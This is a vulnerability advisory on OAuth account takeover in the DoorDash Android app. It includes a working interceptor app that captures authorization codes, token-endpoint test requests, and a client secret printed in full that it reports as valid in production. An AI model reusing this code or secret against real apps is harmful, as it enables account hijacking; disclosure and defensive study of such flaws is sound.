← Advisories
CRITICALRDXS-2026-004

OAuth Account Takeover in DoorDash Android App

Custom scheme redirect hijacking, no PKCE enforcement, and a hardcoded client secret enable full account takeover via authorization code interception.

Product

DoorDash Consumer App

Version

15.221.7

Vendor

DoorDash

Published

2026-03-10

1

Critical

1

High

3

Total

Background

DoorDash uses an OAuth-based authentication flow for its Android consumer app (com.dd.doordash, v15.221.7). When a user signs in, the app opens a browser to DoorDash's identity provider, which after authentication redirects back to the app with an authorization code via a custom URI scheme.

The redirect URI is dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/. Because this uses a custom scheme (dd-identity://) rather than a verified HTTPS App Link, Android does not enforce app ownership of the scheme. Any installed app can register an intent filter for the same scheme and intercept the OAuth callback.

This audit decompiled the DoorDash APK using jadx, traced the full OAuth flow from login initiation through token exchange, and identified three compounding vulnerabilities that chain into a full account takeover.

Methodology

The DoorDash consumer APK (v15.221.7, 61,392 classes) was decompiled with jadx. The OAuth flow was traced through Retrofit annotations and OkHttp interceptor classes to map the complete authentication chain: login initiation, redirect handling, token exchange endpoint, and credential storage.

A proof-of-concept interceptor app was built and tested on an Android 15 (API 35) emulator to confirm that custom scheme hijacking captures the authorization code. The extracted client secret was validated against the production token endpoint using differential error response analysis. No user accounts were compromised during testing.


Critical Findings

1. Custom Scheme OAuth Redirect Hijacking

Account Takeover

DoorDash's OAuth flow redirects authorization codes to the custom scheme dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/. Custom schemes on Android are not verified for app ownership — any installed application can register an intent filter for dd-identity:// and intercept the callback.

A malicious app installed on the victim's device registers the same scheme, host, and path prefix. When the victim completes DoorDash login in their browser, Android routes the redirect to the attacker's app instead of (or in addition to) DoorDash. The attacker captures the authorization code, exchanges it for session tokens using the hardcoded client secret (Finding 2), and gains full access to the victim's account.

The attack chain requires three conditions, all of which are met: a hijackable redirect scheme (custom, not HTTPS App Link), a valid client secret for token exchange (hardcoded in the APK), and no PKCE enforcement to bind the code to the legitimate client (Finding 3).

POC Interceptor App — AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.ddintercept">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:label="DD Intercept POC"
        android:theme="@android:style/Theme.Material.Light">

        <activity
            android:name="com.poc.ddintercept.InterceptActivity"
            android:exported="true"
            android:label="DD Intercept POC">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
                <data
                    android:scheme="dd-identity"
                    android:host="identity.doordash.com"
                    android:pathPrefix="/auth_callback/com.dd.doordash/" />
            </intent-filter>
        </activity>
    </application>
</manifest>

POC Interceptor App — InterceptActivity.java

package com.poc.ddintercept;

import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import android.view.Gravity;
import android.graphics.Color;
import android.graphics.Typeface;

/**
 * POC: Intercepts DoorDash OAuth authorization codes via custom scheme hijacking.
 *
 * When DoorDash initiates OAuth login, the authorization server redirects to:
 *   dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/?code=<AUTH_CODE>&state=<UUID>
 *
 * Because dd-identity:// is a custom scheme (not an https:// App Link),
 * Android does NOT verify ownership. Any app can register for it.
 * This app intercepts the redirect and captures the authorization code.
 */
public class InterceptActivity extends Activity {

    private static final String TAG = "DD_INTERCEPT_POC";
    private TextView statusView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        ScrollView scroll = new ScrollView(this);
        LinearLayout layout = new LinearLayout(this);
        layout.setOrientation(LinearLayout.VERTICAL);
        layout.setPadding(48, 48, 48, 48);

        TextView title = new TextView(this);
        title.setText("DoorDash OAuth Interceptor POC");
        title.setTextSize(20);
        title.setTypeface(null, Typeface.BOLD);
        title.setTextColor(Color.parseColor("#D32F2F"));
        title.setPadding(0, 0, 0, 32);
        layout.addView(title);

        statusView = new TextView(this);
        statusView.setTextSize(14);
        statusView.setTypeface(Typeface.MONOSPACE);
        statusView.setTextIsSelectable(true);
        layout.addView(statusView);

        scroll.addView(layout);
        setContentView(scroll);

        Uri data = getIntent().getData();
        if (data != null) {
            handleInterceptedCallback(data);
        } else {
            statusView.setText(
                "Waiting for DoorDash OAuth callback interception...\n\n" +
                "This app has registered an intent-filter for:\n" +
                "  dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/\n\n" +
                "When the victim initiates DoorDash login, the OAuth authorization\n" +
                "code will be intercepted by this app instead of DoorDash."
            );
        }
    }

    private void handleInterceptedCallback(Uri data) {
        String authCode = data.getQueryParameter("code");
        String state = data.getQueryParameter("state");
        String fullUri = data.toString();

        Log.w(TAG, "=== OAUTH AUTHORIZATION CODE INTERCEPTED ===");
        Log.w(TAG, "Full URI: " + fullUri);
        Log.w(TAG, "Authorization Code: " + authCode);
        Log.w(TAG, "State: " + state);
        Log.w(TAG, "=== END INTERCEPTION ===");

        // Authorization code captured — exchange for tokens using
        // the hardcoded client secret from the DoorDash APK.
        // No code_verifier (PKCE) required.
    }
}

Logcat — Interception Evidence

03-09 21:19:53.184   559  1659 I ActivityTaskManager: START u0 {
  act=android.intent.action.VIEW
  cat=[android.intent.category.BROWSABLE]
  dat=dd-identity://identity.doordash.com/...
  cmp=com.poc.ddintercept/.InterceptActivity
} with LAUNCH_MULTIPLE from uid 2000 (BAL_ALLOW_PERMISSION) result code=0

03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: === OAUTH AUTHORIZATION CODE INTERCEPTED ===
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: Full URI: dd-identity://identity.doordash.com/auth_callback/com.dd.doordash/?code=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.INTERCEPTED_OAUTH_CODE_DEMO.signature
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: Authorization Code: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.INTERCEPTED_OAUTH_CODE_DEMO.signature
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: State: null
03-09 21:19:53.211 11044 11044 W DD_INTERCEPT_POC: === END INTERCEPTION ===

03-09 21:19:53.254   559   584 I ActivityTaskManager: Displayed com.poc.ddintercept/.InterceptActivity for user 0: +77ms

dumpsys — Scheme Registration

  dd-identity:
    f81371d com.poc.ddintercept/.InterceptActivity filter 55d2363
      Action: "android.intent.action.VIEW"
      Category: "android.intent.category.DEFAULT"
      Category: "android.intent.category.BROWSABLE"
      Scheme: "dd-identity"
      Authority: "identity.doordash.com": -1
      Path: "PatternMatcher{PREFIX: /auth_callback/com.dd.doordash/}"

  Domain verification status: (none)

Impact

Full account takeover. An attacker installs a lightweight app on the victim's Android device. When the victim next logs into DoorDash, the attacker captures the authorization code, exchanges it for session tokens using the hardcoded client secret, and gains complete access to the victim's DoorDash account — including order history, saved addresses, payment methods, and the ability to place orders.

Mitigation

Migrate the OAuth redirect URI from the custom scheme dd-identity:// to a verified HTTPS App Link (e.g., https://identity.doordash.com/.well-known/assetlinks.json). HTTPS App Links require domain ownership verification via Digital Asset Links, preventing other apps from registering for the same URI.


High-Severity Findings

2. Hardcoded Client Secret in APK

Credential Exposure

The OAuth client secret is embedded in plaintext in the DoorDash APK at ConsumerApplicationImpl.java (lines 902, 908). The secret (FtrOvq...) is passed as the Authorization header to the token exchange endpoint at identity.doordash.com/api/v1/auth/token.

Differential testing against the production endpoint confirms the extracted secret is valid. With the correct secret, the server responds with "Invalid code." (code validation failure). With an incorrect or missing secret, the server responds with "Unauthorized" (authentication failure). This proves the secret passes authentication and reaches the code validation stage.

Differential Token Exchange Tests

=== TEST 1: Embedded client secret (from APK), invalid authorization code ===
Authorization: FtrOvqTNyAkAAAAAAAAAADpTSUJ1bUKhAAAAAAAAAACeT6l00rBlswAAAAAAAAAA
POST https://identity.doordash.com/api/v1/auth/token
Body: {"code": {"code": "<test_authorization_code>"}}

Status: 401
Response: {"error":"Invalid code.","code":16,"message":"Invalid code.","details":[]}
          ^^^ Server ACCEPTED the client secret, then validated the code.

=== TEST 2: Wrong/fake client secret, invalid authorization code ===
Authorization: INVALID_CLIENT_SECRET_AAAAAAAA
POST https://identity.doordash.com/api/v1/auth/token
Body: {"code": {"code": "<test_authorization_code>"}}

Status: 401
Response: {"error":"Unauthorized","code":16,"message":"Unauthorized","details":[]}
          ^^^ Server REJECTED the request at the authentication step.

=== TEST 3: No client secret ===
Authorization: (none)
POST https://identity.doordash.com/api/v1/auth/token
Body: {"code": {"code": "<test_authorization_code>"}}

Status: 401
Response: {"error":"Unauthorized","code":16,"message":"Unauthorized","details":[]}
          ^^^ Same error as Test 2 — no client authentication provided.

The differential error responses — "Invalid code." vs. "Unauthorized" — definitively prove the embedded secret is valid. The server authenticates the client, then proceeds to validate the authorization code. With a real intercepted code from Finding 1, this exchange would return session tokens.

Impact

The client secret is the second required component (after the authorization code) for a successful token exchange. Because it is hardcoded in the APK, any attacker who can intercept an authorization code (Finding 1) can complete the exchange without needing to compromise any server-side infrastructure.

Mitigation

Rotate the exposed client secret immediately. Remove hardcoded secrets from the APK and migrate to a backend-for-frontend (BFF) pattern where the client secret is held server-side. For public mobile clients that cannot hold secrets, enforce S256 PKCE to bind authorization codes to the legitimate client (see Finding 3).


Medium-Severity Findings

3. No PKCE Enforcement on Token Endpoint

Missing PKCE

The token exchange endpoint at identity.doordash.com/api/v1/auth/token does not require a code_verifier parameter. Authorization codes can be exchanged for tokens without proving possession of the original code_challenge that initiated the flow.

PKCE (Proof Key for Code Exchange, RFC 7636) is the standard mitigation for authorization code interception in public clients. With S256 PKCE, even if an attacker captures the authorization code, they cannot exchange it without the code_verifier that only the legitimate client possesses.

The decompiled token exchange code in m.java (lines 125–137) sends the request body as {"code": {"code": "<value>"}} with no code_verifier field. The differential testing in Finding 2 confirmed the endpoint accepts this format — the server validated the authorization code (rejecting the test value) without requiring a verifier.

Impact

Without PKCE, authorization code interception is sufficient for token exchange. This is the third component that makes the full attack chain viable: hijackable custom scheme (Finding 1) + hardcoded client secret (Finding 2) + no PKCE = any intercepted authorization code can be exchanged for session tokens.

Mitigation

Enforce S256 PKCE on the token endpoint. Require a code_verifier for all token exchange requests and reject exchanges where the verifier does not match the code_challenge sent during authorization. PKCE alone would break the attack chain even if the custom scheme and client secret exposures remain unpatched.


The Attack Chain

These three findings are not independent vulnerabilities — they are components of a single account takeover chain. Each finding removes one layer of defense that should prevent authorization code theft from becoming account compromise:

  1. Custom scheme redirect (Finding 1) — the authorization code is delivered via a URI scheme that any app can claim, enabling interception
  2. Hardcoded client secret (Finding 2) — the attacker has the credential needed to authenticate to the token endpoint
  3. No PKCE enforcement (Finding 3) — no cryptographic binding prevents the attacker from exchanging the stolen code

Any one of these mitigations would break the chain. HTTPS App Links prevent interception. PKCE prevents code exchange without the verifier. Removing the client secret from the APK adds a server-side gate. All three should be addressed, but any single fix neutralizes the account takeover.


Remediation

Three changes are recommended, ordered by impact:

  1. Migrate to HTTPS App Links — Replace the dd-identity:// custom scheme redirect with an https:// App Link. Publish a Digital Asset Links file at https://identity.doordash.com/.well-known/assetlinks.json binding the redirect domain to the DoorDash app's signing certificate. This prevents any other app from registering for the redirect URI.
  2. Enforce S256 PKCE — Require a code_verifier on all token exchange requests. Even if the authorization code is intercepted, PKCE ensures only the client that initiated the flow can complete the exchange. Use S256 (SHA-256), not plain PKCE, which is trivially bypassable.
  3. Rotate and remove the client secret — The exposed secret (FtrOvq...AAAAAA) should be rotated immediately. For mobile clients (public clients per RFC 6749), secrets should not be embedded in distributed binaries. Use a backend-for-frontend pattern or rely on PKCE for client binding.

Scope

Tested against DoorDash consumer Android app com.dd.doordash version 15.221.7 (61,392 decompiled classes). POC tested on Android 15 (API 35) emulator. iOS app and web flows were not tested.

No real user accounts were compromised. The POC interceptor was tested using simulated OAuth callbacks via adb shell am start. Token exchange testing used deliberately invalid authorization codes to confirm the client secret is valid without completing an actual exchange.

Disclosure

We work with DoorDash and all vendors we research, and inform them before publishing.

This advisory follows the same methodology used in RDXS-2026-001 and RDXS-2026-002: decompile client-side source, trace trust boundaries, chain findings into impact.

Redeux Security

48-hour adversarial security audits for startups and scale-ups.